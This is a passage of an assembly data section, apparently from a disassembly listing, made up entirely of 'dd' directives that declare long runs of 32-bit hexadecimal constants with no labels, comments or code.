dd 0BCF1798Eh, 1F64CADh, 8043701Eh, 0BAEE5EAEh, 75729AD8h
dd 99877A00h, 662FA58h, 0D59B034Dh, 0F3695B26h, 0BCFB7900h
dd 0EAAFE83Bh, 0D171C68h, 7E64406Ch, 534B45ECh, 90BCBE0Eh
dd 3E098001h, 24ACB12Ch, 1588ADD3h, 0E707D042h, 20C81F71h
dd 9C2EB621h, 0BA9B2801h, 7D35DD4Bh, 70565710h, 0F4A56800h
dd 1132C423h, 0DB2505F8h, 818C2B07h, 3942D4B0h, 0CB1C0F50h
dd 18CE2C84h, 2178840Ah, 0B9B1C400h, 0F64E3A82h, 8FBB2A0Eh
dd 49FC90h, 0CF14AEAAh, 111B3FBFh, 203DFF03h, 0A13E90DCh
dd 8442CEBCh, 3F8C8056h, 0B864665Dh, 3E8F000Ch, 28E52979h
dd 0CE0CC699h, 7982219Ah, 0FB7F07A1h, 0C0657C23h, 4B1B3A3Fh
dd 8571EE00h, 0E35538DAh, 474E0914h, 53823D09h, 9864BBABh
dd 0FD2B6A00h, 0D91D2A17h, 6B4A00D8h, 0F4D1E1D7h, 39046350h
dd 6278F588h, 0A70020B3h, 237D3702h, 0F300AB94h, 14A0A07h
dd 0F22ED263h, 5B1B39CEh, 1558BAA6h, 0FE033894h, 0D0E273CFh
dd 1152AC90h, 0FB84BF00h, 3494CCBDh, 435A001Bh, 937E1E8Dh
dd 0E09B496h, 6821904Bh, 26D288h, 434569A9h, 7FCB64C5h
dd 604DD804h, 7888BC24h, 0E162002Ah, 0DE9A5FCFh, 890042C7h
dd 5E35E28Ah, 0C863F2h, 0D8ABE1F3h, 6E1ECEB3h, 6B78D101h
dd 0BC281177h, 6601F432h, 0E6A5724h, 8C0D20D4h, 0DB6C5B00h
dd 0B3352508h, 9434000Ah, 0A2C698ECh, 0F9128F5Fh, 6452D860h
dd 0B2FDD200h, 90F43A12h, 0CF6903FAh, 0AE278E67h, 0AA0F300Ah
dd 0FB609009h, 1A384B8h, 143E933Fh, 0E0737A2Dh, 7C0FCC29h
dd 850B06F2h, 208D9766h, 7B9C4Ch, 6F5CD0D7h, 8DE918AEh
dd 0A0285B00h, 0DA790C2h, 1EC1BDB4h, 0F1B0D7C4h, 68999805h
dd 6300C29Eh, 88E1EEFBh, 2CC003ABh, 8F30264Eh, 574360D0h
dd 6DA99060h, 62F9BFh, 76B45BD0h, 0AACEB191h, 0D47C362Ah
dd 0DB986373h, 694FB703h, 0B8E3E415h, 0BAD147h, 0B1A159E9h
dd 5AC8677h, 7913583Dh, 0DAA04364h, 884178C9h, 48326D23h
dd 0D9991Eh, 87A8BB7Fh, 6C001C28h, 16C932C1h, 63BA8Ah
dd 8771430h, 0BBF8D496h, 0F380A894h, 0E53FF77Dh, 8E2F0047h
dd 22B79059h, 8C768B50h, 0ED953500h, 0F22E5ED4h, 52C7D3Dh
dd 0E6972DA2h, 0B6904364h, 0B00087F4h, 0F5B03162h, 0D1B442h
dd 0CC5EB984h, 0C59B3AA5h, 0C014495Ch, 32CA4116h, 21D30081h
dd 22CEC7DFh, 0B600B3B4h, 0F0DCD70Fh, 2A6E2A52h, 1C6CACh
dd 177577B2h, 375FB503h, 25DE7F18h, 1D66156Ch, 41EADFCFh
dd 7BAC9950h, 0AE9050F0h, 0B798688Dh, 200C6900h, 887DBB4Bh
dd 57FE000Bh, 404D638Fh, 115A2A23h, 0C680B400h, 78BAA2D8h
dd 0B18B0425h, 80EE2D20h, 1199CE68h, 0C280A899h, 0C85A3F3Ah
dd 0D7300048h, 7B8391F7h, 20004E99h, 0A7297F6Ch, 18B0D8F4h
dd 395B4967h, 0A30B9A14h, 0C3BE965h, 9436586Eh, 968980C0h
dd 0C49D2B64h, 0A5A15Ch, 111095A9h, 0F23958FAh, 81BB2A03h
dd 0D9E3098Ch, 85806B99h, 0E9F3C255h, 60D49A4Ch, 384EC9B0h
dd 96BA30D0h, 0AFF81931h, 67DFC802h, 5236BF72h, 0E5CE0030h
dd 97D2C6D8h, 0B71C4BF0h, 0AE84FC74h, 0C040DB60h, 91EEE1EBh
dd 9DA6F400h, 47414E1Dh, 28187384h, 0F6E42D34h, 0F679013Fh
dd 0D0970FF2h, 0FAF9806Ah, 9EA25A8Bh, 0FD3A3F80h, 9300F8CCh
dd 2EAB3FBCh, 7902CA05h, 0E15BC30Bh, 1C6684h, 0C8BC6CBEh
dd 0EC1492D2h, 0EE223816h, 4E2AFF00h, 68002C4h, 548F460Bh
dd 0A90F36B7h, 0E00F6F92h, 21CB755Bh, 7E9C17Fh, 0F84D2E3Dh
dd 0F1004425h, 533EB30Ch, 0B547A9Ch, 0E4BCD8Ah, 0ACAB4080h
dd 5A60496Eh, 0BE1169C1h, 8F2C12D8h, 9EEC2021h, 0F800A784h
dd 0C9BAD336h, 0F36FE8h, 180AD639h, 43FAA332h, 69261B14h
dd 1D8D0068h, 65FD580h, 25700B1h, 436892E9h, 0CE253D10h
dd 0BC1085A8h, 2177DC20h, 0AE3803EDh, 0E29915DFh, 0DC14C1ACh
dd 0F68BD1ABh, 0DF0E94C8h
dd 1043D22Ch, 0BDE33360h, 9EEC3B64h, 0E9AED009h, 66FA0498h
dd 0F5446103h, 0C0B8AB7Ch, 0EE373E6Bh, 461700F1h, 2B04F713h
dd 5D4AFE97h, 945AD044h, 19497840h, 7C1B4483h, 25B8B0CEh
dd 0CCA00ADAh, 6BC891D1h, 0BD444014h, 0DEEE0068h, 0E6869274h
dd 97B31338h, 22C2507h, 7BD41174h, 4D008CDAh, 0BE598F1Bh
dd 0B4DA76h, 3D212B20h, 6D9C16B3h, 0D1CC3900h, 0FFB08F6Ch
dd 442C4C4Ch, 0A8269601h, 29BB6807h, 80803ADCh, 739C0B1Fh
dd 1ACA3C1h, 5042C3F1h, 945966ABh, 2C828E38h, 0CB40F043h
dd 0E7398DFFh, 0FA62F0E8h, 8FB09E5Bh, 3D473BABh, 58EC979h
dd 8E4D009Eh, 40A2B0A4h, 0D97CDA01h, 0DB7E6B58h, 0D5090022h
dd 0EC646542h, 1B3E10E9h, 0A2AC06F3h, 194849BFh, 4DD73F00h
dd 767D1D93h, 6FD40058h, 153E9CD0h, 279752Ch, 28520F28h
dd 10959327h, 1A8E98Ch, 23335479h, 4844D68Fh, 0D90036B4h
dd 0C4FE3C85h, 1D4027C8h, 13096BF3h, 0BBF4D258h, 15D558E0h
dd 49516963h, 0F3410075h, 0D1DC6C05h, 457C7964h, 0D5A32F12h
dd 0C004C53h, 52EAC9C5h, 518A6056h, 42FDD66Dh, 0B3B39728h
dd 0A8C22009h, 870C10BBh, 92A00FCh, 0D13CE034h, 5B0117B4h
dd 1EB15143h, 0A4336218h, 7A4EE100h, 0C60CC0DAh, 7840445Eh
dd 0AC051D64h, 0B9E31ED1h, 0FEBF1DF5h, 3DA3680h, 2A3E2E7Eh
dd 2CFF7A13h, 6C42CC8Dh, 0D38621CEh, 38D8487Bh, 0CF2C101Eh
dd 0BD15B3C0h, 985517DAh, 0AEE80038h, 450E88F9h, 36371B01h
dd 0AC40518Ah, 3E56B261h, 0EC80A2C4h, 17BBEA96h, 34B29C80h
dd 237F9A02h, 723695CCh, 0B5D30060h, 0C66DA78Bh, 9277E3E5h
dd 0E7454100h, 766BB33h, 0BE2E01A9h, 976502B7h, 0CFE848D1h
dd 0CC0B148h, 0C995BB8Bh, 48EA3C23h, 1C0E532Ch, 7C2027D4h
dd 8C43960Ah, 3D62E8DFh, 0A2832D90h, 70BDBAE0h, 0E61928E8h
dd 0CBB5E8E3h, 2036FC2Dh, 0DDD4E780h, 5E0800DEh, 42310566h
dd 8C000CF5h, 0B7B273D1h, 0B60AD4F0h, 0D04994A4h, 2B0B6D80h
dd 0BB007AC0h, 0CE4EC91h, 0C53C48h, 0CFB06525h, 9FA20487h
dd 0BC144E02h, 4C1CD401h, 88B44A70h, 8426F870h, 8A054146h
dd 0A88170F4h, 0D8D065B1h, 853500D3h, 79AB2299h, 7852D625h
dd 0B8CE1424h, 0C9B90BC4h, 79748389h, 400A922Ch, 9E12E99h
dd 5B52C4A2h, 0B9BB6010h, 0B4263428h, 0A033772Ch, 0ADF4CC60h
dd 0D9DE00C0h, 0ACF86F52h, 7E1112BDh, 2B1704DAh, 84E86087h
dd 6E790965h, 716788h, 3A7A954Bh, 0B6AF4D15h, 0C22B1700h
dd 0E6CF6CC8h, 85D1016Dh, 4F9EA01Dh, 7C79C2D5h, 4D030429h
dd 0A8B39C4Ah, 2202159h, 32FEE3C5h, 0F4D142F3h, 5453231Fh
dd 1115F900h, 0F4F078FBh, 0C7DC0038h, 0D54179FDh, 940057C5h
dd 0BBBE7CEh, 13536D83h, 93BC5510h, 86C05174h, 25009666h
dd 68B8998Ah, 0F2D02F81h, 586D2895h, 0D5DE4480h, 80400E48h
dd 0AB3DF3BAh, 0CC1917B6h, 0D4941E99h, 500CCC3h, 3E68B396h
dd 0FE0794A6h, 99186563h, 0C0F6A11h, 717028E0h, 433F1959h
dd 405CF956h, 5038CFD0h, 3678B500h, 417DE232h, 42920739h
dd 31797A55h, 0A7B284B1h, 0A9081058h, 0ED0B0022h, 0F2D0A390h
dd 6E7A51A5h, 0C2B34B09h, 41F448BCh, 73DF0E38h, 0C60040E7h
dd 96CF7713h, 0E1F58002h, 0E08BC79Ch, 1ECC6687h, 9E305275h
dd 0C95782D0h, 4C4B2B2Dh, 6EFE69D0h, 98008CA4h, 45040950h
dd 799C503h, 7CB4B634h, 60888115h, 29BBDDh, 6D44F59Ah
dd 58FF4614h, 600958CAh, 646A9513h, 0C776AE84h, 16D532B0h
dd 220DC872h, 0C9F8BC2Eh, 3E4A0FF4h, 0A6800B06h, 4D3DFA9Ah
dd 84052C8Ch, 38079CF0h, 27003CE2h, 57CE5B33h, 150A4770h
dd 0DB242A96h, 0FE8B8031h, 97DD7EE8h, 9176011h, 273E9440h
dd 70915832h, 43F85300h, 0BAD8AEBEh, 0B9D05104h, 0C4809936h
dd 0D23CE4h, 0EEE689F3h, 0F41B49F5h, 5F0CFA78h, 61D57BBEh
dd 558701B7h, 0A54566E9h, 2607D476h, 0F5307100h, 203D1718h
dd 298A009Fh, 21C41A8Bh, 432C80C7h, 0A42DC59h, 0E034E0F3h
dd 7DAB0060h, 0C5790B97h, 0A01EED02h, 6B1B96F2h, 0BC53F8B8h
dd 8739C09Bh, 80016CD5h, 0B52DCC00h, 3E7C5974h, 0CA610179h
dd 15AC87D9h, 753872BAh, 0C4DB0A00h, 0B333F288h, 76A7F411h
dd 196201BEh, 9EACB1A4h, 1C35D43Eh, 384078BEh, 93A631h
dd 7D7C62EEh, 0EAB77844h, 0A755F000h, 0DEE0C090h, 9C9042h
dd 5410A3CFh, 578C4FAh, 0C242FB60h, 168B9CCEh, 4527E17Bh
dd 0A478D56Ch, 9C9149E4h, 6255E400h, 7712EBE3h, 7B97A42h
dd 0C0C5B2B8h, 8F58C2F5h, 0C8839081h, 8A9DFCB4h, 0F31139h
dd 0B89BAB65h, 96BF8C33h, 0F8674014h, 190345F6h, 0B2704052h
dd 0D39003B1h, 2D16AC80h, 2260D9C1h, 80933F30h, 5E4882Eh
dd 0E80D2F76h, 59010677h, 0A9F57E02h, 97645809h, 1D2866E4h
dd 0F8CFAEh, 620118D4h, 0DF04D82Fh, 60F9ADFFh, 0F623B088h
dd 839E0FE6h, 2092BA0Eh, 9CBB6554h, 7C1E900h, 0D684DB93h
dd 26D5E06h, 0A943A42Ch, 100038E6h, 41ED150Ah, 1EADD7B9h
dd 949714C7h, 89034875h, 0D67BB8B4h, 70EF6100h, 75720523h
dd 0E268048Ah, 80DEEE1Fh, 0E1E77EECh, 648488h, 0A63DFF19h
dd 11D417F9h, 0B480E094h, 8CBEBAEEh, 80889469h, 219CC38Fh
dd 0E1309FD2h, 325A6499h, 0F19450DCh, 0C0C5EAAFh, 0FA9042F4h
dd 24EEDB62h, 5626D602h, 0D221AACFh, 8B72F8h, 0D0072D51h
dd 5E40CC34h, 3C88F600h, 0B793FBCh, 8803505Fh, 20BB4C70h
dd 1D87F480h, 557A05DCh, 8CA1E401h, 0C232EC8Ah, 24ED57C8h
dd 0F60599Eh, 73A60Ah, 5EAF9514h, 627005D9h, 8496B2Ch
dd 3DEF4420h, 0EC6903BCh, 0A04295B1h, 702A1BAh, 0CF1126D4h
dd 99D83CB4h, 6E4F157Bh, 14FD8440h, 1CEDFAh, 77B15455h
dd 78A49272h, 26D81E3Ah, 0C00C1FCCh, 0B5931E2h, 5A52D33Eh
dd 9F279490h, 0F2393807h, 3B419EC6h, 91804E44h, 0F1BF45D3h
dd 7973938Ah, 44E64927h, 5B940030h, 120A1C9Ch, 4101F05Ch
dd 0A49D50FDh, 9C42011Eh, 68D173h, 46DC5433h, 3B002C1Ch
dd 0B1D35CA9h, 0E6CC627Fh, 40209478h, 16C28DF7h, 11181E00h
dd 0E3EC21B2h, 0F259160Ah, 7C027BAh, 681CF32Ah, 0AED02690h
dd 7CFD6D00h, 423D2701h, 2728B049h, 0C44473BDh, 4B665B00h
dd 0F5A5C3FFh, 0D29B0055h, 39F6DF78h, 9A0E4AC0h, 6F0D01FCh
dd 43A6C0C6h, 5EB5068Dh, 0E313F04Fh, 8A517800h, 58C05654h
dd 20634E43h, 0E02C4508h, 0D4A56095h, 4BB4BE14h, 0B0A2A468h
dd 0F500ECB0h, 0C3B5D8B4h, 9CE252h, 809CB6Ch, 0D29570ACh
dd 6E10A207h, 0AE908637h, 0E296097h, 51B9D984h, 0E1BE87C7h
dd 809B5234h, 36FBA128h, 7B8B2617h, 0A80100E8h, 7F634FD1h
dd 1990C03Bh, 5C2087EFh, 893733A0h, 1191DAF0h, 0EA7F0071h
dd 0B75F8865h, 0FBF06F07h, 95D6350Ch, 4589B8h, 0A6DEBAD7h
dd 71F46FA7h, 0C5384800h, 0BDCC6A1Ah, 26167C0Bh, 0E42362h
dd 98C363CEh, 0B976E088h, 48A12B33h, 0A66498B4h, 20CCFD41h
dd 0CF9A00DAh, 88BFF0Fh, 0E001813h, 63175426h, 60823661h
dd 8E5981D7h, 5600E284h, 648BD424h, 2A1202h, 3B55E81h
dd 343FA27Ah, 0D88E0806h, 7B39DF82h, 9B1E00F7h, 0CA25A4CFh
dd 110044AFh, 4A8A0835h, 0A5BEB84h, 0B5989A80h, 4C3787A4h
dd 86E75094h, 0AA00B479h, 8E21EF31h, 227820h, 91772A2h
dd 0B983F9BDh, 4E6069C0h
dd 1ED437Dh, 40AC7418h, 803668BAh, 0C75B06F9h, 0FA0A5FC9h
dd 0EBAC33E1h, 79B69E39h, 0CE2962A0h, 2BB1961Dh, 0F1D8E5C7h
dd 0C1C478E0h, 57595C5Bh, 31B99918h, 0F60013D2h, 34FD61CCh
dd 11A92C0h, 0AFAB23Eh, 80A19E55h, 0A3649C29h, 1E806146h
dd 3FF2991h, 0EB810173h, 0AAA22003h, 0C836AE07h, 70382B8h
dd 3B97DA49h, 0A9A57685h, 0B1C0F50Eh, 813BFC87h, 0E2BC80A8h
dd 2183A6B8h, 33C71A76h, 8065F13Bh, 392A3A27h, 700FDEF9h
dd 55943B96h, 59C6038Ch, 9901DB29h, 0BF6DCCADh, 36C8C2F8h
dd 0DF460058h, 0FA5F9EC1h, 6B4C7FE3h, 666A2E90h, 4E029904h
dd 578E6480h, 0C0A7F034h, 4FF415E9h, 7B04E20Dh, 0D5411B2Bh
dd 6F9109C0h, 0CA10E75h, 0F2601017h, 2D4D8F49h, 0D6823518h
dd 0C0EEC1h, 7BA3CC1Eh, 5EE0DB4Ah, 87B21500h, 5D649A0Fh
dd 50B8F83Ch, 49D8048h, 82D6F06Dh, 650E43B9h, 0D1D8B8C0h
dd 3FCDEA8Ah, 5B852D68h, 30BFE0F4h, 59974894h, 0E1BE4300h
dd 656D6035h, 22D3159Ah, 4A00C8ECh, 0E12B4E05h, 39D4A0EEh
dd 0A46524E8h, 8106CE40h, 0CB31C0E6h, 0D33BE01Eh, 0EF5A8B01h
dd 0B898F791h, 0A55B8C50h, 0C83700ACh, 0D81C2503h, 4F3B2312h
dd 291EF481h, 0B40D102h, 6F174D90h, 0CAA70B3h, 7069B720h
dd 7A06EE71h, 0BAA9E161h, 3AD03791h, 5FFA8C61h, 343720FCh
dd 0B9C72125h, 38416DC6h, 96264926h, 1801F5Eh, 0C72D7792h
dd 9C218022h, 142BD34Dh, 99CCEBE0h, 0FE770020h, 4AA45C18h
dd 4E1952F2h, 0A0312CC8h, 1F53C2C4h, 1893C7BBh, 494E1931h
dd 163AF400h, 86C4A0EDh, 1C2F03AFh, 34F1291Dh, 31A9B0D9h
dd 0AD6400B0h, 2D09A666h, 10C62315h, 0DB0960h, 6EFFED07h
dd 0B6575ABDh, 0FDE00502h, 6064FB97h, 1839587Ch, 0F1B399C6h
dd 92EC9DA7h, 2EE3E702h, 80C71319h, 0D1A64558h, 3EC80730h
dd 80F4D3C2h, 1B26EB62h, 0B3B83402h, 0A1FF9385h, 0FA0E9CA8h
dd 0F60A01D4h, 2D8100D4h, 6B4DD56Fh, 5D4C3057h, 0AC43C90h
dd 0C41ED3C6h, 29906F47h, 0F8F6E31Ch, 85F10151h, 7A21E7D7h
dd 82804149h, 0EBF980BBh, 13206C2Eh, 985D4C26h, 93E915C0h
dd 0E31F4D33h, 315C0D9Ch, 0A9213446h, 848E4869h, 0FE937B0Ch
dd 7E281C79h, 1D3B86EDh, 0E4F08091h, 3101D43Bh, 949E1FABh
dd 41BA98DFh, 7B00297Dh, 0AC2DEA0Dh, 0B16AB9C6h, 9A938610h
dd 7B0359E8h, 0E62F8954h, 0C0339A4Bh, 8B8D2478h, 93743087h
dd 5B60C77Ch, 0ABCA6741h, 7B8B2h, 89EF3319h, 0FDED4880h
dd 0E3122D04h, 3C8CFB5Ch, 307C004Eh, 65A79D99h, 291CCBB9h
dd 24024F95h, 64ADE0FCh, 0E10E0780h, 9CC7DB3h, 95010000h
dd 3900834Ah, 1A97669Fh, 74601C51h, 0B2DE38D0h, 2AD2200h
dd 0B83963BBh, 4FFBB700h, 3B1E62C6h, 24D7784Ch, 0B744E65h
dd 9A8D342Fh, 30B1D5D9h, 0E2029970h, 81872090h, 0E5448095h
dd 0F088678Eh, 0C5B84C1Bh, 252EDC0Eh, 2DE158EFh, 2070755Ch
dd 0C630FB28h, 0EC50E94Ah, 115E000Bh, 7F4509EDh, 0FD02C33Dh
dd 252CD795h, 0A46602h, 0D26FCA21h, 0E901BACFh, 8379F301h
dd 0AB97B872h, 738FCD4h, 99B94E12h, 3CA80678h, 0ED1CD315h
dd 85E10CDCh, 88378097h, 3B01DD2Bh, 1B57ABE4h, 7C206DC0h
dd 0F08358F2h, 0A60818Eh, 0CC43D987h, 22C3C0C7h, 0AA38CD01h
dd 0F7C41FECh, 1257074h, 18556FD7h, 7102BB2Dh, 0CE74F01Ch
dd 4B01D300h, 126C17B4h, 0BE8229C9h, 2AB800E0h, 0F755C398h
dd 17144A00h, 463F844Fh, 66E2C08h, 5AF128Ch, 1DCE07ECh
dd 99EDC0E4h, 0A7DBE18Fh, 690649DFh, 0F4080ABEh, 0D6C8C02Fh
dd 0C0359AB3h, 0CFF090E8h, 93C8350h, 75783203h, 0F89FB1DAh
dd 5CE19744h, 998400B5h, 359240B9h, 3D4C9CC2h, 0B880A83Fh
dd 1C5F31ACh, 61E8E402h, 2FC3548h, 0C1B8E1Ah, 0AEC44091h
dd 0D110FF9Ah, 25036A72h, 1C867039h, 84A097E9h, 0D32E7666h
dd 183410E1h, 0BA22304Ch, 0E6922600h, 0D7B0BF5Ah, 2E601217h
dd 0BA4C0836h, 38209396h, 5FB555h, 0B36F612h, 1B604F30h
dd 7976A02h, 410D7F20h, 6159BD4h, 948A714h, 0C88881E1h
dd 8F3A0208h, 6EFBDCh, 0F4D5409Fh, 39A77413h, 845F0A02h
dd 60012836h, 11EBA8Bh, 0CC956FB7h, 6129094Ch, 520F680h
dd 1A4E97h, 0DC797D0Bh, 7A9AD2B6h, 0E3438900h, 5C171E36h
dd 64384D8Eh, 0FDE1A380h, 0E0449A4Eh, 40AF0044h, 958C4529h
dd 0CE391B9Bh, 1E89818Ah, 34C7B74Eh, 0B8036822h, 90793985h
dd 0C4F44F80h, 0C1C36300h, 5710E16h, 7DD71D4Dh, 0C00BDD3Fh
dd 0A535F50Ah, 543CF806h, 62210584h, 9C0024D6h, 1CD07DFAh
dd 8089C0EEh, 0A3631A84h, 209E0E25h, 0C699D44Ch, 0B87D0038h
dd 0EAFBC33Bh, 223D1B09h, 7FCEBBC0h, 0E6813894h, 8A42FA43h
dd 8B6EB840h, 0F07B60C5h, 344EFBAEh, 3F843E57h, 6C5C79h
dd 0DA4A6422h, 3A257167h, 0C8396034h, 75E959E0h, 47012A79h
dd 9B1E11F4h, 4BF483A8h, 23CF0004h, 96A508DBh, 4E3CC6E1h
dd 631B802Dh, 9A219ED5h, 0F60F026Bh, 551499BFh, 9D52E868h
dd 0DABBB08Bh, 5CD12A9h, 8704786h, 3EC79332h, 0B9FA8100h
dd 0FC89134Bh, 273E050h, 0B57FB04h, 0A09038D0h, 2013BB65h
dd 1803157Ch, 85D56676h, 805D9008h, 0D7C2CCD1h, 0B0FC9D8Bh
dd 2CED2A03h, 87515302h, 0D399DA00h, 0EF8D2878h, 40C89498h
dd 93A817E0h, 0EEAED500h, 0EDB9E218h, 5B680216h, 81760636h
dd 87018CC4h, 0A3DB101Fh, 0FF406966h, 0A63F49h, 741B9C0Ah
dd 410E6B53h, 12E9706h, 7539EA81h, 0B32107CBh, 0F63EB0E7h
dd 9400C837h, 0D30AB80Fh, 900DA091h, 999215A4h, 1800A0ABh
dd 0B649FB2Bh, 0AA0774E6h, 0E4502DFCh, 0C47732B0h, 9BE17120h
dd 0C6B60164h, 0FAD8341Ah, 0C4BF2440h, 0E0088709h, 5F5848AAh
dd 34986Bh, 77D6591h, 9D66A751h, 0B821D329h, 48AAB03Bh
dd 0E39E27A6h, 81F9180h, 6A5AFFBFh, 723FC778h, 0AD89DC3h
dd 0C43FD5h, 0F3DCD2Ah, 71C114h, 40D0635Fh, 0AADE8F61h
dd 0AFB83503h, 793862B9h, 90502531h, 97DE9890h, 0EE32E2E4h
dd 649EB1D4h, 51D600A8h, 0AF1186Fh, 7E16CA05h, 0EA01E42Dh
dd 34D00FC3h, 847A8433h, 40A4C4A3h, 93F68F4Ah, 78CD589Dh
dd 45E86C2Eh, 0CA9800CEh, 0E00207C6h, 0F8A4B522h, 0F470EB51h
dd 12AC9089h, 8865B9B1h, 0CD6CB3A4h, 3A7111Eh, 21C5A84Ch
dd 0B0A8E741h, 573F5B38h, 0CA6A0093h, 36C32CC2h, 93349695h
dd 421B007Eh, 265E252h, 64015B03h, 89E003BBh, 8448D5E1h
dd 0FD2188B2h, 58E57400h, 3FF852E6h, 2627D1Bh, 0D90553C1h
dd 1C64C709h, 0FC3E9700h, 8B214D2Ch, 0FB401F1Bh, 0B082D418h
dd 0AA844181h, 370DD44Eh, 0AEC3F700h, 19038CE4h, 344F04ABh
dd 0C05F2818h, 9E10E76Ch, 0BA89B660h, 1FA7A564h, 40493CDDh
dd 0EED9FC31h, 29001F8Bh, 5EADAEC5h, 0A8E79A85h, 7CF54C0h
dd 0A6A968F3h, 6C84AB81h, 34E4827Bh, 0D200CC25h, 0FB82F416h
dd 9A40002Ah, 4DD201E5h, 5C99C718h, 3EA5A602h, 508D4035h
dd 11E0AEh, 39B8EBB3h, 0B735AF5h, 2820C209h, 0A4AC010Ch
dd 0DB10A099h, 0D905310Fh, 0DD823249h, 0AC7C8440h, 0BE6DF3h
dd 2C6222E5h, 0B3EACF7Eh, 262DE8EFh, 68679A00h, 549DFFBh
dd 488B984Ch, 178014ACh, 162570ECh, 0A1C6EB25h, 0C3046C60h
dd 0A01ACCh, 7B832A45h, 0F2F512Bh, 890B4B8h, 0C0E17612h
dd 7A71D021h, 3F80342Ch
dd 3AD0F726h, 70B61500h, 0FA5D298Fh, 3E4C944Ah, 0E474585Ch
dd 70620208h, 4FAAF6EAh, 5AACF098h, 4A461A00h, 6C2F0ADDh
dd 97250002h, 10DA536Fh, 0A427D452h, 40001ACDh, 0F2BF93D4h
dd 0D08250B8h, 1794885Bh, 0B71D5Ch, 61533F80h, 21EAD7Fh
dd 9346D58Bh, 50C02CB7h, 8C258A9Bh, 27582FC7h, 6A90FE83h
dd 0F4B6953Bh, 23440009h, 4DF22F41h, 0AC449910h, 9BEE039h
dd 0FC0A1218h, 0C7282D80h, 8302D227h, 0B4B5F2C6h, 0D9D840CDh
dd 98F9482Fh, 0AAE9C39h, 0AF0E0174h, 80BA829Ah, 0C8AC3279h
dd 989278E7h, 6449167Ch, 0D758057Eh, 23C20090h, 0EF113E5Dh
dd 206AECA0h, 0AD2F3609h, 8EE09093h, 0D9500A48h, 0B82C14h
dd 8098DAB9h, 0D070D692h, 4EA06E00h, 628D96E5h, 0DA1800D1h
dd 2C0FE278h, 0C8919510h, 0C128BA80h, 5C17A396h, 0C487C09Ah
dd 67E4F0DBh, 8198F2F4h, 9F0CD5Ch, 414DC96h, 405E37E8h
dd 0B00BC174h, 0FD6193A3h, 660D7841h, 3FC5D4h, 0E5A0416Bh
dd 9BEF8173h, 98A7871Fh, 49037A00h, 5FB97B8h, 4361C7D1h
dd 6AA40072h, 0FF170F8Fh, 0FD7BD003h, 0D1ED4E08h, 0D432C758h
dd 998AAC09h, 9220CB0Eh, 9C775091h, 78643F58h, 2A78317h
dd 9D4EE030h, 39E2A0E4h, 0ABE011h, 0D057838Ch, 3AFB0FA0h
dd 8A0E44B8h, 7AF936h, 33CA82D1h, 0D9EA25DFh, 9F14C10h
dd 90C37100h, 0BAEC4557h, 40994FF8h, 681CAD84h, 0CF01FDF5h
dd 5A59A047h, 0E0D794A3h, 0F0E7BF2h, 0FF01567Dh, 0A1EC3644h
dd 0D473C84Ch, 90203D4Bh, 302759h, 48D6FD8Ch, 2237396Dh
dd 90BD3D00h, 57FFDE77h, 9A2E282Bh, 72E93F70h, 0BECD3800h
dd 11CB1FEh, 0E0FF800h, 0E38DEBD5h, 96D0721Eh, 3CA8A0h
dd 506F08AAh, 0A3E0FB41h, 100F891h, 0C273C02h, 0CD4E0004h
dd 0E86C2B63h, 68B18115h, 66673F01h, 9AE00854h, 0C58D00AFh
dd 0B84B4AF3h, 4E500678h, 0F4B8A4A8h, 0C375A800h, 6F725C17h
dd 0F9D900A3h, 342B37C0h, 97F1312h, 3675741Dh, 63A4F40h
dd 12BD6F95h, 418E51A0h, 5FEAD970h, 3DC3293h, 4AA542F0h
dd 0C121BFA7h, 0CC6320B3h, 0C4EA3C07h, 92A930AEh, 5A395602h
dd 0CD35008Dh, 3D0A29B2h, 8F503434h, 0EF80131h, 32C604B7h
dd 87BD00E8h, 4279D355h, 43A2A015h, 8521034Fh, 3B058133h
dd 84D72980h, 2B1A6B16h, 0ED34EC04h, 0ABCC0B53h, 84012F89h
dd 0C8329679h, 0DA01312Dh, 0D158E97Eh, 0E8229423h, 0CA6CF70Bh
dd 28096EDEh, 34A41081h, 19C400C6h, 1A53CBC2h, 0F2EC4641h
dd 0D839090Fh, 2040DEE3h, 212534F1h, 33610A68h, 9CBCA708h
dd 88A411h, 21F3DF62h, 4D00F48Fh, 0DDD19FF6h, 250B918h
dd 6D63A9DAh, 605119B3h, 0BE7EF387h, 59853940h, 0FAC300EBh
dd 0ADD88E48h, 170002C7h, 3A454E6Fh, 16B92249h, 9039D3B7h
dd 1B159F14h, 7CCE18C0h, 488C21Ch, 0FC62524Ah, 0AACE8BBh
dd 38C7FBACh, 81943200h, 7ED9CCh, 34655A98h, 1895CAF7h
dd 12B0DB17h, 4F977C02h, 0F8C499h, 5CA607ECh, 0F926FC32h
dd 238E4100h, 10EF2EDEh, 0B0111786h, 570C80D9h, 6E22B9EBh
dd 6F07162Bh, 7E049193h, 3F0EE067h, 2728DE98h, 73709C35h
dd 0A81A9E70h, 66B0B0D1h, 89A0033Ch, 96B44130h, 28223EA0h
dd 64EBDB00h, 10C0D823h, 40D4940Bh, 7F7B7A48h, 5400BA75h
dd 93705B27h, 3F3E2C6h, 0DF5146DBh, 0A8C93C63h, 7FE030FAh
dd 90F8C426h, 2654542Fh, 7422405Ch, 0EE003773h, 76DF206Dh
dd 48D375h, 2623F128h, 9641B56h, 10024E27h, 3ED08DCh, 0DBAE77BDh
dd 58885304h, 0E0011776h, 9602AB85h, 2FE18734h, 0B884D420h
dd 44264AB3h, 0A21856B4h, 3B3C10h, 7C3D6F59h, 76E96622h
dd 99281B50h, 30C731ADh, 0BA889EA7h, 0D1E26F00h, 0D0F13B0Fh
dd 94370724h, 742F659Bh, 0E1808827h, 4440B25Eh, 25DAEF03h
dd 0CB28A09Eh, 53930BE6h, 47816137h, 0E0EF56A7h, 0F1391436h
dd 5A8B0045h, 4E31CA6Fh, 0E993308Ah, 638EA459h, 295BB90Eh
dd 5C40A169h, 0F88A0CBEh, 4090934Ah, 0DE4550B7h, 3DC57A00h
dd 62D926E8h, 83490107h, 0AAE11D6Eh, 10A1A5D1h, 3137F40h
dd 20FE25ADh, 0AFA0F5E7h, 35196D95h, 0EFE00ADEh, 0F002DB13h
dd 0CEAAD69h, 0DC50809Ah, 1CE6A64Bh, 880EE2h, 7271A064h
dd 0F5020298h, 6017455Bh, 0E4F016h, 0B28A90A9h, 0BD9AA1Bh
dd 82368C0Ch, 1FE599DCh, 401CD0DFh, 18A07BC2h, 0BE007A83h
dd 85E18C3Eh, 0E213F091h, 20E84E74h, 35BCE2B8h, 7AFF53Bh
dd 539D3CFFh, 0BBDF98F0h, 2FF8EA38h, 0BC905FF3h, 2F00AA31h
dd 73A3442Bh, 98836D24h, 40104A0h, 445969A8h, 0C8C95235h
